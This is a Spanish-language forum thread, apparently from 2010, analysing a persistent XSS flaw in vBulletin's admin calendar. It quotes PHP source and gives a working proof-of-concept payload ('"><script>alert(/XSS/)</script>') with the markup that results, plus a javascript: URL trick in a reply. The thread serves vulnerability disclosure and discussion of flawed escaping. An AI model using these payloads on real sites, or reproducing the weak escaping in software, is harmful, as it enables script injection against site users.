Test Foro de elhacker.net SMF 2.1

---

Dentro del archivo admincalendar.php de la linea 170 a la 192, se realiza una inserción a la base de datos.
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
(
calendarid,
title,
options,
allowentry,
required,
length,
description
)
VALUES
(" .
$vbulletin->GPC['calendarid'] .", '" .
$db->escape_string($vbulletin->GPC['title']) . "', '" .
$db->escape_string($vbulletin->GPC['options']) . "', " .
$vbulletin->GPC['allowentry'] . ", " .
$vbulletin->GPC['required'] . ", " .
$vbulletin->GPC['length'] . ", '" .
$db->escape_string($vbulletin->GPC['description']) . "'
)
");
}

Al mirar detenidamente, se vé la función escape_string y me pregunte y de hecho postee aquí, de que se trataba esa función, ya que no es una función propia del PHP. Me dí a la busqueda de dicha función y se encontraba dentro del archivo includes/class_core.php, desde la linea 717 hasta 727.
function escape_string($string)
{
if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
{
return $this->functions['escape_string']($string, $this->connection_master);
}
else
{
return $this->functions['escape_string']($string);
}
}
Esta función lo que hace es evitar caracteres especiales dentro de una sentencia SQL (Como bien me lo dijo Nakp).

Ahora que pasa si no ingresamos caracteres especiales para afectar una sentencia SQL sino algo como esto <script>alert(/XSS/)</script>, os dejara pasar y se convertirá en un XSS Persistente!. Miremos...

Dentro del archivo admincalendar.php, tenemos la oportunidad de modificar un calendario y si miramos el codigo fuente, obtenemos esto: (Solo la parte que os interesa)
<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">

Podemos realizar esto para bypassear el input:
"><script>alert(/XSS/)</script>

A lo que al llamarlo quedará así, provocando un XSS Persistente:
<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">

NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador

Bien hecho Shell Root, me gusta las explicaciones con el source en la mano xD, saludos.

xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
function xss_clean($var)
{
static
$preg_find    = array('#^javascript#i', '#^vbscript#i'),
$preg_replace = array('java script',   'vb script');

return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
}

:silbar:

Shell Root, es interesante, aunque esto desanima mucho:

CitarNOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador

Buen aporte!!

Saludos

Recuerda que htmlspecialchars tiene el parametro por defecto ENT_COMPAT y convierte las comillas dobles a simples y solo hace eso, para poder filtrar XSS correctamente hay que usar el parametro ENT_QUOTES que filtra las comillas simples y dobles.

super!, lo agregué al post de recopilaciones
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_6310-t244090.0.html

Cita de: tooRllehS@xelA en  6 Marzo 2010, 15:28 PM
xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.

Código (php) [Seleccionar] Expandir

function xss_clean($var)
{
static
$preg_find    = array('#^javascript#i', '#^vbscript#i'),
$preg_replace = array('java script',   'vb script');

return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
}

:silbar:

pero fijate que esa funcion lo que hace no es un "antixss" sino que evita la ejecucion de codigo desde la barra de direcciones, proba comentando esto:
[url]javascript:alert(1)[/url]


quedara: javascript:alert(1) (//http://javascript:alert(1))


esto se llama jasildbg (http://www.elhacker.net/jasildbg/)

javascript inLine DeBuGer (JaSiLDBG)